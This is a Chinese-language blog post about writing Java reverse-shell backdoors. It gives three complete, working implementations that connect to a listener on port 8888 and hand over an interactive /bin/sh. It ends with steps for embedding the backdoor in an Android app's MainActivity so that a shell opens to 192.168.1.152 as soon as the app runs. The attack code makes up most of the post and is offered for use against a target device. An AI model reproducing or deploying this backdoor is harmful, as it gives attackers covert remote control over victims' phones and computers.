java reverse 怎么实现_JAVA 后门 shell_reverse_tcp 实现

遇到情景是可以在android上安装任意apk,执行apk后有个反弹shell的效果。一般来说直接用msf就可以生成android后门,但不知为何在目标设备上无法正常使用,故决定自己编写一个简单的apk以完成反弹shell。最终实现三个纯JAVA版的shell_reverse_tcp,当然塞进apk也好使。开始自己完成了一个无法完全交互的shell,类似一句话木马那种伪tty。因为思路也是web的思路,执行->取结果字符串->发送结果字符串。后来参考msf的实现,人家是使用线程直接转发了启动shell的输入输出流到反弹的socket的输入输出流,不仅可以获得一个完全交互的shell,还省去了byte流转字符串的操作。这个其实就是和shellcode的思路一样了,类似dup socket的文件描述符到程序的输入输出流中。二者最重要的区别就是执行顺序上,因为自己对线程不熟,没有想到转发的过程其实是持续的,是伴随着我们对后门的操作的。也是因为自己的编程水平还停留面向过程的1234,不容易想到多个实体一起执行的情景,想的总是执行完第一步,然后第二步…最后找到一个单线程死循环获得完全交互shell的写法,通过判断输入流是否可用来进入转发,是目前看到的最短实现。

非真正交互

都是static方法,故使用的时候不需要new一个新的对象。因为是web思路,执行命令完成,读结果字符串,发结果字符串。所以执行流就是最好想的顺序执行,一步步往下走就行了,类似一句话:

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStream;

import java.net.Socket;

import java.nio.charset.Charset;

public class Backdoor {

public static String read_stream(InputStream in){

try {

StringBuilder sResultBuilder = new StringBuilder("");

BufferedReader bufferedReader = new BufferedReader(

new InputStreamReader(in, Charset.defaultCharset()));

String line = bufferedReader.readLine();

if (line == null) return "";

sResultBuilder.append(line);

while (true) {

line = bufferedReader.readLine();

if (line == null) break;

else sResultBuilder.append('\n'+line);

}

return String.valueOf(sResultBuilder);

}catch (IOException e) {

e.printStackTrace();

}

return "";

}

public static String exec_cmd(String cmd){

try {

cmd = cmd.replaceAll("\n"," ") + " 2>&1 ;echo \n";

String[] str = {"/bin/sh","-c",cmd};

Process p = Runtime.getRuntime().exec(str);

p.waitFor();

return read_stream(p.getInputStream());

}catch (IOException e) {

e.printStackTrace();

} catch (InterruptedException e) {

e.printStackTrace();

}

return "";

}

public static void reverse_tcp(String ip,int port){

try {

Socket socket = new Socket(ip,port);

InputStream in = socket.getInputStream();

OutputStream out = socket.getOutputStream();

out.write("[+] getshell\n".getBytes());

byte[] b = new byte[4096];

while(true){

out.write("> ".getBytes());

out.write(exec_cmd(new String(b,0,in.read(b))).getBytes());

}

} catch (IOException e) {

e.printStackTrace();

}catch (StringIndexOutOfBoundsException e) {

e.printStackTrace();

}

}

public static void main(String[] args) {

reverse_tcp("127.0.0.1",8888);

}

}

测试用法,本机监听8888端口,然后执行:

➜ javac Backdoor.java && java Backdoor

真正交互

首先想到JAVA自己有没有类似流转发的功能呢?搜索到java io 流重定向标准输入和输出,即JAVA的标准输入输出错误流是可以重定向的,但是没有找到可以重定向任意流的函数。故想到能不能重定向进程的输入输出流之后然后直接execve系统调用把整个进程换成/bin/sh,就完全的shellcode反弹思路。但是看起来java好像不能直接执行系统调用,网上给出的解决办法是写JNI。

所以还是按照msf思路,自己动手写流的转发。看完思路自己默写的时候可犯难了,为啥没有输出呢?调试发现程序卡在了第一个转发那,恍然大悟,人家是转发工作是用线程完成的。所以这种思路就是不是顺序执行啦,而是有几个线程在不停的将反弹的socket的输入输出转发到启动的shell进程的输入输出上,所以这还不太像shellcode,dup文件描述符那么一劳永逸…为了避免拆分文件,最终使用JAVA的内部类完成线程的编写:

后来看:如何利用Java编写反弹工具?,其实整个类都继承自Thread就可以了…

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStream;

import java.net.Socket;

public class Backdoor {

class forward extends Thread{

private InputStream src;

private OutputStream dst;

public forward(InputStream src,OutputStream dst){

this.src = src; this.dst = dst;

}

public void run(){

try {

final byte[] buf = new byte[4096];

int length;

while ((length = this.src.read(buf)) != -1) {

if (this.dst != null) {

this.dst.write(buf, 0, length);

if (this.src.available() == 0) {

this.dst.flush();

}

}

}

} catch (IOException e) {

e.printStackTrace();

}

}

}

public void reverse_tcp(String ip,int port){

try {

Socket socket = new Socket(ip,port);

InputStream in = socket.getInputStream();

OutputStream out = socket.getOutputStream();

out.write("[+] getshell\n".getBytes());

String[] str = {"/bin/sh","-i"};

Process p = Runtime.getRuntime().exec(str);

new forward(in,p.getOutputStream()).start();

new forward(p.getInputStream(),out).start();

new forward(p.getErrorStream(),out).start();

p.waitFor();

} catch (IOException e) {

e.printStackTrace();

}catch (StringIndexOutOfBoundsException e) {

e.printStackTrace();

} catch (InterruptedException e) {

e.printStackTrace();

}

}

public static void main(String[] args) {

new Backdoor().reverse_tcp("127.0.0.1",8888);

}

}

测试用法,本机监听8888端口,然后执行:

➜ javac Backdoor.java && java Backdoor

最短实现

后来又搜到:使用Java反弹shell,因为我不知道流可以判空,所以之前在写类似的死循环的时候就卡死在read里了,所以直接使用一个线程也是可以完成工作的:

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStream;

import java.net.Socket;

public class Backdoor {

public static void reverse_tcp(String ip,int port){

try {

String[] str = {"/bin/sh","-i"};

Process p = Runtime.getRuntime().exec(str);

InputStream pin = p.getInputStream();

InputStream perr = p.getErrorStream();

OutputStream pout = p.getOutputStream();

Socket socket = new Socket(ip,port);

InputStream sin = socket.getInputStream();

OutputStream sout = socket.getOutputStream();

sout.write("[+] getshell\n".getBytes());

while(true){

while(pin.available()>0) sout.write(pin.read());

while(perr.available()>0) sout.write(perr.read());

while(sin.available()>0) pout.write(sin.read());

sout.flush();

pout.flush();

}

} catch (IOException e) {

e.printStackTrace();

}catch (StringIndexOutOfBoundsException e) {

e.printStackTrace();

}

}

public static void main(String[] args) {

reverse_tcp("127.0.0.1",8888);

}

}

测试用法,本机监听8888端口,然后执行:

➜ javac Backdoor.java && java Backdoor

android中使用

首先给APK加网络权限,千万别忘了:

如果想让反弹的shell有权限干更多的事则需要多加权限,比如读写SD卡的权限:

然后将Backdoor这个类拷贝进工程中,并把/bin/sh换成/system/bin/sh,因为Andoid是禁止在主线程中使用网络操作,所以之后在程序目标处起一个新的线程即可:

public class MainActivity extends Activity {

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

new Thread(runnable).start();

}

Runnable runnable = new Runnable(){

@Override

public void run() {

new Backdoor().reverse_tcp("192.168.1.152",8888);

//Backdoor.reverse_tcp("192.168.1.152",8888);

}

};

编译,安装,运行,即可反弹shell。

其他阅读

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值